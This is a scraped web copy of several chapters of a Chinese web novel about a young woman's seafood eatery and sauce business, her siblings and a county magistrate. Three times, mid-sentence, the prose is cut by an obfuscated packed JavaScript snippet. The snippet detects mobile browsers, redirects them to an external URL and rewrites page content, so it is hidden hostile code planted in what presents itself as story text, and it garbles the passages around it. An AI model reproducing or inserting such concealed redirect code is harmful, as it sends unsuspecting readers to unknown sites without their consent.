“春香姐,你来真的?”云楚沅心情微妙,这八竿子打不着的两人凑到一起,还是因为云记食肆,这两人要是在一起了,她可算半个媒人。 钱春香用手指缠着胸前垂落的发丝,不好意思抬头,她轻轻点头,说道:“我是认真的,阿汤哥是个好人,他每日送完货后,还会留下来帮我的忙,我瞧着他是个靠谱的男人。” “钱婶知道了吗?她能同意吗?” 不是云楚沅不看好他们,而是于汤木讷寡言,不像是想要娶妻的样子,况且于汤年纪不小了,他们二人相差了八岁,人生的阅历、为人处事的方式都有很大的不同。 钱春香动作一顿,小心翼翼地往后厨的方向瞥了一眼,小声说道:“我娘还不知晓,待我和阿汤哥心意相通了,再告诉她。” “这样也好。”云楚沅点点头,毕竟于汤看起来还没开窍,八字都还没一撇呢,等钱春香把人追到手,再说见家长的事吧。 云楚沅穿过大堂,走进后厨,朱师傅在灶台前忙活着,手上颠锅的动作熟练。 如今他已经是云记食肆的主厨了,为了不辜负云楚沅的赏识,他夜以继日地精进厨艺,也算是小有所成。 “楚沅,你来啦。”钱婶择完菜,一抬头便看见了云楚沅。 朱师傅将锅里的菜盛出来,笑着说道:“楚沅你来的正好,尝尝我做的菜如何?” 菜肴的色和香都做到位了,云楚沅夹了一块鱼肉尝过后,给出中肯的建议,“火候大了点,鱼肉稍微有点散,后续可以多练练,熟能生巧。” “好的,我一定改进。”朱师傅牢记她的话。 云楚沅说道:“我今日来,是想上一道新菜,五香酥带鱼。” 银白的带鱼泛着微微的光泽,将带鱼处理好后,云楚沅在鱼身上划上几刀,以便其更好地入味,而后均匀地抹上盐和特制的五香粉进行腌制,让鱼肉充分吸收调料的香味。 带鱼块裹上一层薄薄的淀粉,下入油锅炸至金黄酥脆,加入葱姜、酱油、黄酒、糖、香料粉,大火烧开后转小火慢炖,汤汁渐渐收缩,带鱼吸满了调料的香味,同时鱼肉也更加入味。 五香粉是这道菜的灵魂所在,它由花椒、八角、桂皮、丁香、小茴香等香料混合而成,香气扑鼻,味道香浓却不腻。 朱师傅一边看,一边学,争取早日学会这道新菜品。 出锅后的五香酥带鱼,色泽红亮,外皮酥脆,鱼肉融合了五香粉的味道,经过长时间的炖煮,骨刺都酥了,吃起来完全不用担心卡嗓子。 “嗯,这道酥带鱼咸甜交织,别有一番风味。”朱师傅品尝过后,立刻就被五香酥带鱼的滋味征服了,他拌着汤汁连吃了两碗米饭,直至打起了饱嗝,才罢休。 云楚沅用陶罐装好的酥带鱼,做了个古代版的带鱼罐头,她准备带回去给裴昱臣和小弟、小妹尝尝。 32. 理想型 “楚河,楚清,你们快出来瞧瞧,阿姐带什么回来了!”一走进西院的大门,云楚沅就娇声喊道。 “阿姐,你回来啦!”云楚清甩着两根小辫子从房间里跑了出来,围着云楚沅蹦蹦跳跳,她摇晃着自家阿姐的手臂不停撒娇,“阿姐,我好想你~” 阿姐这几日回小渔村忙养殖的事,见不着人、吃不到她做的膳食,云楚清感觉度日如年。 云楚沅笑着低头,点了点她的小鼻子,“你这小丫头,是想我呢,还是想我的厨艺呢?” 云楚清被看穿了心思,吐了吐舌头,捡着好听话说:“自然是想你,吃食哪有阿姐重要。” “小妹,阿姐有些累,不做膳食了行吗?”云楚沅故意给她挖坑,她说自己不去做饭,可没说有提前做好了带回来。 “阿姐,你好好歇歇,我不饿。”云楚清不假思索地说道。 两人一边说,一边往屋子里走,云楚沅将手里提着的陶罐举了起来,故作为难道:“看来我带回来的五香酥带鱼没人吃了,唉,那我只能自己吃光光了。” 云楚清脚步一顿,不可思议地抬头看向长姐,“阿姐,是你做的鱼吗?” 云楚沅轻轻点头,“是呀。” 云楚清郁闷地低下头,早知道就不嘴快了。 “楚河去哪里了?”云楚沅没看见小弟的身影,转过头去,询问慢吞吞跟在身后的云楚清。 “哥哥去找裴县令了。”云楚清垂头丧气地回话。 不出所料,这小子又和裴昱臣呆在一块,也不知道小书生身上有什么魅力,俘获了一个小迷弟。 “阿姐,你一个人吃的完吗?”云楚清眼神飘忽不定,时不时偷看云楚沅手里的罐子。 云楚沅乐的不行,这鬼灵精,变着法子想问她讨吃食,“我一个人吃不完,所以我决定去主院和楚河还有裴县令一起吃。” 眼瞧着阿姐头也不回地出了房门,云楚清咬咬牙,顾不上面子,急切地追了上去,“阿姐,等等我,我也要去!” —— “青竹,楚河那小子在哪里?”云楚沅走进主院,问向站在院子里的青竹。 百无聊赖的青竹听到这娇俏的声音,立马换了副笑脸,“云姑娘,你来啦!楚河正在书房里练字呢。” 练字?就云楚河那个皮小子? 云楚沅眉毛一挑,不可思议道:“我没听错吧,他还能静下心来学写字?” 青竹笑着说道:“姑娘有所不知,你不在的这几日,楚河天天来主院,他可听大人的话了,不是习剑就是认字,他学得都很认真。” 云楚沅敲了敲书房的门,非常好奇里面是怎样一副场景。 “吱呀”一声,门从里面开了,裴昱臣走了出来。 “我在里面就听见你叽叽喳喳的声音了,出什么事了?你如此激动。”裴昱臣双臂抱在胸前,好整以暇地看向云楚沅。 他身着一袭月白色长袍,上面绣着的祥云纹纹理细腻,头上系着一条同款发带,衣裳随着他抬手的动作起伏,宛如流动的水波,泛着柔和的光泽。 云楚沅上下打量着裴昱臣,他这身打扮书生气更重了,显得文弱。 “裴大哥,楚河呢?”云楚沅问道。 “在里面临摹字帖呢。”裴昱臣抬起胳膊将门推开了一条缝,让她自己看。 云楚沅低头从他撑起的胳膊下探头看去,比桌子高不了多少的人儿,正像模像样地握着毛笔书写。 “楚河聪慧,一点就通,他比照我的字练了几日,已经写的很流畅了。” 裴昱臣呼出的热气喷在云楚沅的头顶,惹得她缩了缩脖子,裴昱臣这才注意到两人离得太近了,连忙后退了两步。 云楚沅直起身,转过头来,就看见站在后面的青竹露出了一抹姨母笑,她嘴角微抽,不忍直视地偏过头,对裴昱臣说道:“你瞧瞧青竹,看着不太聪明的样子,你要不要换个人服侍你。” 青竹一听,立马收起了脸上的笑,讨饶道:“姑娘,你可不要乱说,大人会当真的。” 他们家大人遇上云姑娘,就像变了一个人,就拿在膳房处罚下人一事来说,向来说一不二的裴大人,竟改变原则,顺从了一名女子的想法。 青竹听到这事时,内心的震惊翻涌如潮,这就是温柔乡、英雄冢吗?他不敢想象,自家大人若是成了亲,岂不是日日被女子管教。 裴昱臣看着青竹一阵红一阵青的脸色,心生疑窦,难不成被楚沅说准了?他看走了眼,选了个愚笨之人? 自家大人盯着他不说话,青竹的心里“咯噔”一下,不会吧,不会吧,我英明神武的大人真的被女子蛊惑了吗? “大……大人,您干嘛这样看着我?”青竹浑身不自在。 他灵机一动,转头看向旁边幸灾乐祸的云楚沅说道:“云姑娘,你不是说有礼物要送我们大人吗?快拿出来吧。” 青竹随口胡诌的话,竟说中了,云楚沅意外地看了他一眼,没想到他还挺有眼色,见她提着罐子,就知晓她是来送东西的。 “哦?是何物?”裴昱臣的脸上表情未变,可他心里有几分高兴,楚沅平日里虽然不着调,可她有好东西还是记着他的。 云楚沅攥着绳子,将陶罐拎起来,举到裴昱臣眼前,说道:“我做的五香酥带鱼,想和你还有楚河一起吃。” 站在旁边默不作声的云楚清插嘴:“阿姐,我有点饿了。” 云楚沅瞧她委屈巴巴的模样,掩着嘴笑,决定不再逗她,“好,你也一起。” 裴昱臣进了书房,将云楚河叫了出来,他们围着院子里摆好的桌子坐下,桌上除了米饭和小菜,中间最显眼的位置放着五香酥带鱼。 “楚河,你跟着裴大人学得如何?能读几本书了?以后也想考功名、当大官吗?” 小弟的变化让云楚沅想到了她一直忽略的事,她赚银子可以从物质上满足弟弟妹妹的需求,可他们长大以后要做什么,她从未考虑过。 小渔村的孩子成日跟在大人身后跑,云楚沅想当然地以为古代人就是这么养孩子,她走到哪就把小弟和小妹带到哪,从来没征询过他们两个意见,也许他们对自己的未来有所规划。 “阿姐,我还没想好。”云楚清头也不抬地说道,她一门心思全在吃上。 “阿姐,我不想做官,我想和你一样做生意赚大钱。” 云楚河的回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950578|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答出乎云楚沅的意料,她原以为小弟喜欢跟着裴昱臣,是以他为榜样,想走科举之路,她万万没想自己才是他的人生目标。 “那你怎么每日黏着裴大哥呢?”云楚沅疑惑。 云楚河理所当然地回答:“阿姐,若是不识字,我怎么数银子?我要是大字不识一个,做生意的时候岂不是会被人骗的很惨。” 他说的很有道理,云楚沅无法反驳。 裴昱臣听到云楚河的话,并未露出异样的神色,他没觉得遗憾,也没觉得云楚河是在浪费天赋、自甘堕落。 不论是做官,还是经商,都有各自的生存之道,他自踏入官场,见识到了不少利欲熏心、中饱私囊之事。 能在物欲横流的官场中坚守本心不是件易事,连裴昱臣自己都在摸着石头过河,前路未卜,他又怎会昧着良心将这孩子拉入这个大染缸中呢。 在他看来,只要不做损人利己之事,做什么营生都是可行的。 “你有想法是好事,既如此,我书房里那本《九章算术》你先学起来吧。” 裴昱臣这话的意思就是表示支持,云楚河得到他的认可,喜滋滋地说道:“多谢裴大哥,我会让我阿姐多做些美味佳肴报答你的!” 云楚沅白了他一眼,臭小子拿她做人情,真是不知羞,“你小子不想着自己报答裴大人,让你如花似玉的长姐替你报答,是何居心?你就不怕他让我以身相许吗?” 裴昱臣脸颊微红,默默低下头夹鱼吃,他已经被调戏得有了经验,这个时候只能装聋作哑,否则越理她,她越来劲。 云楚河眼神古怪地看了云楚沅一眼,心直口快道:“阿姐,你也太自以为是了,不是弟弟打击你,人家裴大哥可是从京城来的,什么大家闺秀没见过,能看上你?” “你这小兔崽子,狗嘴里吐不出象牙!白吃我这么些东西了,给我吐出来!”云楚沅气得火冒三丈,把云楚河装满酥鱼的碗一把夺走。 “阿姐,我错啦!我不该这么说!”云楚河顿时哀嚎起来。 察言观色的云楚清紧紧捂住了自己的碗,生怕被殃及池鱼。 “咳咳……”裴昱臣差点呛到,他眼神不赞同地看向云楚河,郑重其事地说道:“此言差矣,并非家世好、相貌好的女子才是好女子,我更欣赏你阿姐这样钟灵毓秀的女子。” “听到没有!我才是裴县令的理想型,他亲口说过我是天下最好的女子。也就你这样肤浅的人,看重外在,内在美才是真的美,而你姐姐我,内外兼修,无人能及!”云楚沅撂下筷子,双手叉腰,振振有词。 云楚河被教训得抬不起头,他欲哭无泪,这叫什么事儿啊!他明明是想捧裴大哥两句,无意间中伤了阿姐,结果他们两人一唱一和的,把他搞得里外不是人! 裴昱臣在一旁劝慰:“楚沅,消消气,孩子还小,不懂事,分不清好赖,别跟他一般见识。”顺便为她倒了杯茶。 “吨吨吨!”云楚沅一口气喝完,喘着粗气说道:“再来一杯!” 裴昱臣立刻为她添满。 云楚河嘴撅得都能挂油壶了,眼前的画面十分眼熟,这不就是从前他惹娘亲生气时,爹娘相处的样子吗…… 33. 鱿鱼丝和鳕鱼片 眼不见心不烦,云楚沅将用完饭的小弟赶出了院子,云楚清颇有眼色地一同离开了,主院里,只剩云楚沅和裴昱臣。 云楚沅斜了裴昱臣一眼,娇声怒喝道:“都怪你!” 裴昱臣一头雾水,这怎么还能波及到他? “楚沅,你这是何意?”裴昱臣的双手不自觉地置于膝头,挺直腰板。 “哼,楚河以前乖巧得很,从来不敢顶撞我,可自从跟在你身边后,他是越来越不把我放在眼里了!如今都能当着我的面说我的坏话,你说,这里面有没有你的责任!” 云楚沅的无理取闹令裴昱臣汗流浃背,遇上不讲理的小女子怎么办? 顺着她呗,还能怎么办,这日子总得过下去,要不然小厨娘跑了可就得不偿失了。 裴昱臣原本棱角分明的薄唇此刻紧紧抿着,他嘴角微动,想要努力挤出一抹讨好的笑,却又因为不习惯而显得有些僵硬。 “嗯,我有责任,我该教他敬重长姐、爱护长姐。” 低眉顺眼的小书生语气温和,云楚沅的怒火如同被冷水浇灭一般,顿时烟消云散。 云楚沅的脸色缓和下来,那因愤怒而涨红的脸蛋慢慢恢复了原本的白皙,她鼓着脸,小声说道:“哼,算你识相,本小姐大人有大量,原谅你了!” 裴昱臣见她如此,松了口气,这丫头虽然脾气大了点,却也好哄。 她方才瞪得像铜铃般大的圆眼,这会儿也笑成了弯弯的月牙,神情中还带着那么一点娇蛮。 高昂的下巴放平,就像个泄了气的小皮球,不过这只小皮球还挺可爱的,令人止不住想发笑。 裴昱臣握紧的拳头抵在唇边,遮住嘴角,要是叫这小祖宗看见他偷笑,肯定又要闹翻天了。 云楚沅的嘴里还嘟囔着什么,是只有自己能听见的抱怨,那模样,活脱脱就是个闹完脾气后又有点不好意思的娇俏丫头。 —— 这日,云记海味坊迎来了一位半遮半掩的客人,他穿着一件破旧的长袍,头戴斗笠,脖子上的方巾遮住了大半张脸。 他鬼鬼祟祟地走进海味坊,径直找上李大强。 “李掌柜,收货不?我这有一批便宜的蚝豉想卖给你。”客人压低嗓音说道。 为了更好地保存牡蛎,渔民们一般会选用新鲜的并且肉质饱满的牡蛎作为原料,蒸煮后晒干,将其制成的干制品蚝豉。 云记所用的海鲜都是从养殖区现捞的,只有在淡季时,才会选用干货,夏季正是牡蛎的淡季。 如今,小渔村的加工坊做蚝油,是将蚝豉煮熟,再提取其汁液浓缩,添加佐料制成的。 李大强看了看筐子里的蚝豉,摇了摇头,说道:“你这蚝豉品质不行,我们不能用。” 蒙脸男人悄声说道:“掌柜的,你和我做成这笔生意,中间可能捞不少油水呢。这事,天知地知,你知我知。” 李大强当即拉下了脸,冷声说道:“以次充好之事,我是不会做的,你赶紧滚,我们云记不欢迎你!” 那位客人见说服不了他,不再强求,转身离开了。 “你跟上去瞧瞧。”李大强留了个心眼,叫小伙计去看看那人什么来头。 没过一会儿,小伙计急匆匆地回来,凑近李大强的耳畔,小声嘀咕了起来。 李大强的脸色变幻莫测,想了想,他决定现在就去县衙一趟,将此事禀告东家。 —— “砰!”云楚沅将手中的茶盏重重放于桌上,“你是说徐家铺子也开始卖蚝油了?” 面前的李掌柜将一个小罐子呈了上来,“东家,我来之前,托人从徐家酱园买来的。” 云楚沅打开小罐,用食指蘸了点酱料,塞进嘴里细细品尝,“这味道比我们店里的差远了。” 小人行径,云楚沅面露不屑,徐家人以为照葫芦画瓢就能将调味料仿照出来吗? 李掌柜皱着眉头说道:“东家,徐家酱园的蚝油味道差了点,可是价钱便宜许多。他们为了降低成本,以低价收购了大批劣质蚝豉,用这些劣质蚝豉来制作蚝油。这几日,咱们云记海味坊的蚝油销量下降了不少,这可如何是好?” 欺人太甚!徐家酱园里推出的低价蚝油抢占了市场份额,这是想用劣币驱逐良币啊! 云楚沅问道:“那海鲜酱呢?他们不会连咱们新出的海鲜酱也剽窃去了吧?” “这倒没有,不过今日有人来铺子里想要把品质极差的蚝豉卖给我们,我派人去查了查,是徐家在背后捣鬼,想要坏我们生意。” 云楚沅沉思片刻,说道:“这样,你去定制一批小号罐子,将一瓶蚝油和一瓶海鲜酱捆绑售卖,取名优惠装。还有,单瓶的多添一些蚝油,写上宣传语‘加量不加价’。” 不得已,云楚沅采用起了现代的营销手段。 “是,东家,我这就去办。”李大强得了吩咐,离开了。 云楚沅坐在房间里静静思考,营销策略只能锦上添花,产品好坏才是生意成功的关键,百姓们不是傻子,尝过徐家酱园的蚝油一次,就能明白品质如何,自然不会再买账。 她决定趁热打铁,研发出鲍汁蚝油的配方,通过推出新产品,挽回云记海味坊市场份额的同时,打击徐家酱园,狠狠搓一搓徐家人的锐气,谁叫他们只会做投机取巧之事! 云楚沅迫不及待地回到小渔村,刚想着手研究,就听村长夫人说了件坏事。 “楚沅啊,我听说近日有人频繁接触咱们加工坊的人,出两倍的月钱请他们去别处干活,隔壁村的那伙人都走了,留下来的都是咱们小渔村的人。” 云楚沅的心情十分糟糕,这挖墙脚直接挖到家门口来了。要不是她和村民们关系匪浅,她这加工坊岂不是要被搞垮? 村长夫人忧心忡忡地说道:“人少了可以再招,可就怕他们把配方偷学了去。” 这一点,云楚沅在开加工坊之前就想到了,她将加工坊隔成了好几间屋子,每间屋子里的人分工不同,这已经在最大程度上隐藏制作流程了。 而且外村的人都被她安排去做装罐工作了,防人之心不可无,不是知根知底的人,不能完全重用。 经过多次试验和调配,云楚沅终于研发出了鲍汁蚝油的配方,这款鲍汁蚝油在原版蚝油的基础上加入了新鲜鲍鱼,经过精心熬制,口感鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950579|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美无比。 鲍汁蚝油一经上市,便风靡全县城,尽管它的价格略贵一点,却也挡不住百姓们对它的喜爱。 这次恶意竞争之事算是有惊无险地度过了,却给云楚沅敲响警钟。 她不能在吃老本了,酱料配方被人研究出来是早晚的事,只有不断推新,才能走在前头。 待她云记的名号打出去,便会有品牌效应,云记自然而然会成为大家的首选。 清晨,村民们迎着初升的朝阳,从海中捕捞起新鲜的大鱿鱼。这些鱿鱼个头饱满,色泽晶莹,成筐成筐地被运往加工坊。 宽敞明亮的加工坊里,村民们围坐在一起,手中拿着锋利的刀具,仔细处理着鱿鱼。 首先将鱿鱼的内脏、眼睛、嘴巴剔除掉,再清理表面的薄膜和骨头,处理好的鱿鱼肉平铺在案板上,用刀沿着长边,将其切成宽度均匀的长条。 云楚沅亲自上阵,将鱿鱼丝放入陶罐中,加入适量的盐、姜片、黄酒、酱油等调料进行腌制,去除腥味、增添风味。 腌制好后,村民们会用清水冲洗干净鱿鱼丝表面的调料残渣,沥干水分。 而后,云楚沅取出准备好的茱萸和孜然进行研磨,将鱿鱼丝均匀地拌入其中,她依照人们口味的不同,做出两款鱿鱼丝。 村民们把调味好的鱿鱼丝摆放在竹编的烤架上,点燃炭火,开始烘烤,期间会不时地翻动鱿鱼丝,确保每一面都能烤至金黄酥脆。 烤制完成的鱿鱼丝紧实又富有弹性的口感,一口咬下去,微微弹牙,咸味适中,恰到好处地烘托出鱿鱼本身的鲜甜。 “好吃诶,这玩意真有嚼劲!”村长夫人咽下鱿鱼丝后,口中仍留着淡淡的余味,那股咸香鲜甜的滋味久久不散,勾着人再拿起一根。 云楚沅满意一笑,这就是零食的魅力之处。 紧接着,她准备做第二款与之不相上下的美味——鳕鱼片。 云楚沅精心挑选出肉质细嫩的银白鳕鱼,确保每一片鱼都取自最佳部位。清洗干净的鳕鱼,去除鳞片和内脏,然后将其切成薄而均匀的鳕鱼片。 鱼片上轻轻涂抹一层秘制调料,这些调料包括盐、糖、酱油、胡椒粉以及香料粉,它们能够渗透进鱼肉中,提升其鲜美的味道。 鳕鱼片逐一摆放在预热好的烤网上,烤制过程中,需要不断翻动鱼片,确保两面受热均匀,直至熟透。 烤鳕鱼片的口感非常奇特,肉丝细腻,鲜香耐嚼。 云楚沅将这两款做好的零食分给众人,想听听他们的反馈。 “嘿,想不到鱼还能这样吃呢!” 渔民们吃鱼是用来填饱肚子的,他们从未见过零食这样解馋、解闷的吃法。 “太有嚼劲了,我干活的时候要是吃着这个,肯定能做的更好!” 忙里偷闲,边吃零食边干活,缓解压力的同时,有概率提高做事效率。 “云丫头,我觉得这个叫零食的东西完全可以取代点心呀!点心房里卖的那些糕点又甜又腻,我不爱吃。” 取代倒不至于,咸口零食和甜口糕点受众不同、难分高下,海产品零食可以推销给不爱吃甜食的人。 34. 海鸭蛋 东街,云记海味坊。 今日张灯结彩,人声鼎沸,吉时良辰,八方来客至。 店铺前的青石板地面被清扫得纤尘不染,门上悬着的红绸随风摆动,引得路人纷纷驻足,交头接耳间满是好奇。 紧锣密鼓之下,店门开启,鞭炮齐鸣,硝烟弥漫,噼里啪啦的声响打破了清晨街道的宁静,迎来喜庆的氛围。 “瞧一瞧,看一看嘞,云记海味坊,今日大促销!”李掌柜站在门前高声吆喝,“凡消费满十文减一文,消费满一百文,还可参与本店的抽奖活动。” 话音一落,围观群众议论纷纷。 “什么情况,云记海味坊不是上个月才开张吗?怎得又放鞭炮?” “你没听见吗?掌柜的说上新品,要搞活动。” “又上新?云记前些日子新出的鲍汁蚝油味道可好了,不知这次会有什么新鲜玩意。” “这调味料还得来云记买,上回我贪便宜买了徐家酱园的蚝油,难吃死了,完全不是一样东西!” “徐家的铺子?那就不奇怪了,徐记粮铺卖的米都会掺杂陈米。” “别提了,我买了一袋米,吃出了石子,去徐记索赔,他们根本不认账。” “还是云记的东西好,物美价廉,特别是酱料,还有优惠装。” “对,所以我以后就认准云记了。” 人群如潮水般涌进铺子,他们被琳琅满目的商品和诱人的优惠活动吸引,眼中闪烁着兴奋的光。 伙计们穿梭在人群中,为客人们提供周到的服务。 结账时的抽奖活动惹人瞩目,甚至有人买完东西还留下来观看,每一次开奖都伴随着人们的欢呼声和惊叹声。 云楚沅设置了一、二、三等奖,礼品分别是五百文代金券、一瓶鲍汁蚝油和一两鱿鱼丝,其中代金券能在云记旗下的海味坊和食肆通用。 围在柜台前看热闹的冯四郎瞧见了邻居郭峰站在不远处,他从人群的间隙挤了过去,和老熟人打了个招呼,“诶,好巧哇,你也在呀,你中了几等奖?” 郭峰说道:“冯哥,我还没去抽呢,我想再选几样东西凑够两百文,这样我就能抽两次奖了。” “那你买这么多酱料用的完吗?”冯四郎疑惑道。 郭峰向他透露了一件事,“我准备去集市卖馄饨,用蚝油调出来的汤味道可好了。” “原来如此,到时候我一定去捧场。”冯四郎继续说道,“我只抽中了三等奖,也不知谁会抽中一等奖。” 郭峰将要买的东西选好,排队结账,“能中奖就挺好的了,我看前面连着五人都没中奖。”他以往都没有走运的时候,自然不会抱太大的期待。 轮到郭峰时,已经连着十几人没抽中任何奖品了,围观的人们都在看热闹,想知晓这记录能达到多少人。 “二百零四文,你可以抽两次奖。”小伙计一边为他打包货物,一边说道。 郭峰将手伸进抽奖箱,到处摸索,纠结了好一会,才选了一张纸条,打开一看,空白的。 不出所料,他没那个运气,郭峰叹了口气,心里多少有些失落。 “客官,再选一张吧。”伙计对此见怪不怪,今日来了这么多客人,还没有一个抽中一等奖的。 郭峰随意拿了一张,不抱希望地打开来看,顿时傻眼了,这……这上面怎么写着一等的字样? 他不敢置信地揉了揉眼睛,颤声说道:“冯哥,你,你瞧,这是什么奖?” 一旁的冯四郎也傻眼了,他盯着郭峰左瞧右瞧,感慨道:“你小子行啊,这一等奖让你给抽了去。” 伙计也很惊讶,连忙笑着说道:“恭喜这位客官,获得价值五百文的代金券一张!” 小伙计动作麻利地将早就准备好的代金券递给客人,这一等奖要是再不出现,恐怕要被人说他们云记弄虚作假了。 “哈哈,我中了,我中了一等奖!”郭峰兴奋地蹦了起来,直到此刻接过这张薄纸,他才有了中奖的真实感。 周围的客人纷纷出声道贺,或是羡慕,或是嫉妒,这人怎么这么好运! 李掌柜看着店铺里络绎不绝的客人,满意地点了点头,东家还真是个神人,新奇的点子一个接一个。 云记在临海县的影响力达到了空前绝后,蚝油酱料已经家喻户晓,李大强再次庆幸自己选择来云记做事,他有预感,云记的未来不可估量。 云楚沅在后院整理账目,今日的促销活动取得了巨大成功,进账了好几两银子,都快抵得上县衙厨娘一个月的月钱了。 想到这,云楚沅不由骄傲地挺了挺胸膛,裴昱臣的身家已经比不上她了,她还愿意委身于县衙做小厨娘,是给他这个县令一个面子! 短短一日,海味坊库房里的存货几近被掏空,云楚沅赶回小渔村,督促村民们加快进度,并承诺以后的月钱翻一番。 要是跳槽到徐家酱园的那伙人知道他们一离开,云记加工坊就涨了月钱,怕是会气得吐血。 “云妹子,今个到我家用午膳呗,老早就说要请你来林家,你一直忙,都不得闲,今日可有空?”钟兰花瞧见云楚沅,乐呵呵地说道。 “兰花嫂子,妹妹我也一直惦记着这事呢。” 云楚沅初见钟兰花时,两人化干戈为玉帛,约好了要去林家做客,却赶上钟兰花要回家教训两个弟妹,就不了了之了。 后来,云楚沅忙起养殖的事,也只是抽空去林家还了钱,没有留下吃饭。 林家是小渔村承包海域面积第二大的那户人家,仅次于云楚沅,这可都归功于云楚沅,所以林家人一直念叨着要好好谢谢她。 “哎哟,云丫头来了呀,快进来!” 云楚沅跟着钟兰花走进林家大门,一位精神矍铄的老妇人赶忙起身迎接。 “哎,大娘,您快请坐。”云楚沅扶着林老夫人往院里走去,林老夫人生了五男一女,年纪属实是不小了,鬓边有了白发,云楚沅可不敢劳烦她。 “好好,你是个好孩子,小鱼,快去倒杯水来。”林大娘一边指使小闺女,一边亲热地将云楚沅拉到凳子上坐下。 “知道啦!”林小鱼冲着云楚沅笑了笑,一蹦一跳地进了厨房。 林大娘轻拍着云楚沅的手背,细细打量着眼前这位不简单的小辈,这可是他们小渔村的金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950580|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凤凰。 “云丫头,你定亲了吗?” 云楚沅腼腆一笑:“大娘,还没有,我忙着做生意,没时间考虑婚事。” 林大娘笑容更加灿烂:“话可不能这么说,你这么有出息,得找个贤惠的夫婿来帮你排忧解难、料理家事呀。” 云楚沅面露讶异,没想到林大娘的思想这么超前,女主外男主内都来了! 林大娘的脸笑成了一朵菊花,挤眉弄眼道:“云丫头,你看我们家老小如何,他嫁到你们家肯定能伺候好你。” “噗!”云楚沅忍不住将嘴里的水喷了出来,这林大娘还真是语出惊人,竟想让小儿子入赘。 不是都说,小儿子大孙子,老人家的命根子,这林家怎么如此与众不同。 陪坐在一旁的林小鱼哼了一声:“娘,你想得真美,云姐姐貌美又能干,岂是我小哥那个窝囊废能配得上的!” “你这丫头,怎么说话呢!”钟兰花轻推了林小妹一下,怪她口无遮拦。 林小鱼不服气地撅了撅嘴:“本来就是嘛,他肩不能扛、手不能提,性子柔弱,就别耽误好人家的姑娘了。” “咔嚓”一声脆响,吸引了众人的注意力,云楚沅闻声回头,一个长相秀气、身材纤细的男子站在房间门口,脚前还有摔碎的茶杯。 钟兰花连忙起身,收拾地上的碎片,语气担忧道:“小贝,有没有伤着?你小心一点。” 林小贝委屈地望向林小鱼,轻声道:“小妹,你怎能这么说我,我做错了什么?”说完,他的眼眶微微泛红。 林小鱼翻了个白眼,鄙夷道:“你还是不是个男人,说你两句就要哭。” 林小贝和林小鱼这对龙凤胎,仿佛生错了性别,哥哥性格温柔,喜欢刺绣,而妹妹自小调皮捣蛋,长大了便闹着要随父兄出海,皮肤晒得黝黑,完全没有女子样。 这两兄妹十八岁了,还都没有嫁娶,林大娘为此没少操心。 “小贝,快过来,和你云妹妹问好。”林大娘面容慈蔼地朝小儿子招了招手。 林小贝迈着小碎步走到云楚沅跟前,行了一礼,柔声道:“云姑娘安好。” “哈哈,林小哥,你好你好。”云楚沅面上笑着回应,内心啧啧称奇,小小渔村,卧虎藏龙。 林大娘见他们两个说了两句话就没再出声,心下了然,这是没看对眼,她也不再强求,而是转移了话题,“云丫头,你来的正好,兰花她娘家人昨日送来几筐海鸭蛋,其中还有腌好的,你待会拿回家一些。” 云楚沅来了兴趣,海鸭蛋通常来自于放养在海边的鸭子,它们以海鲜为食,产下的蛋味道独特。 比起普通鸭蛋,海鸭蛋往往更加饱满,蛋黄比例更大,口感更加醇厚,营养也更加丰富。 “谢谢大娘!”云楚沅欣然点头,她可不是喜欢假客气的人。 云楚沅跟着林大娘进了厨房,那些海鸭蛋的蛋壳颜色从淡绿到深棕不等,个头不小,拿在手中,沉甸甸的。 淡青色的外壳敲开,蛋白清澈透亮,蛋黄圆润饱满,而且是橙色的,用筷子轻轻搅动,蛋液很有韧性,拉丝般绵密,不会轻易散开。 35. 咸蛋黄焗螃蟹 林家厨房里有煮好的咸鸭蛋,云楚沅轻轻一敲,坚硬的外壳随着“咔嚓”一声裂开,一点点将碎壳剥去,露出里面的宝藏。 云楚沅眼睛一亮,这咸鸭蛋品质上乘,蛋白晶莹剔透,宛如羊脂玉般温润,颤巍巍地包裹着那橙红得像是骄阳似的蛋黄。 饱满油润的蛋黄,用筷子轻轻一戳,刹那间,红油如泉涌般渗了出来,顺着蛋白的缓缓流淌,油花闪烁着艳丽的光泽,仿佛金灿灿的溪流。 这可不能浪费!云楚沅赶忙凑上去,用红唇抿住鸭蛋流油的地方,轻轻吮吸,浓郁的油脂香在齿间绽放,这滋味实乃人间美味。 “林大娘,这咸鸭蛋腌制的也太成功了!”云楚沅只是浅尝了流出来的油汁,就能评估出这颗咸鸭蛋腌制的水平如何。 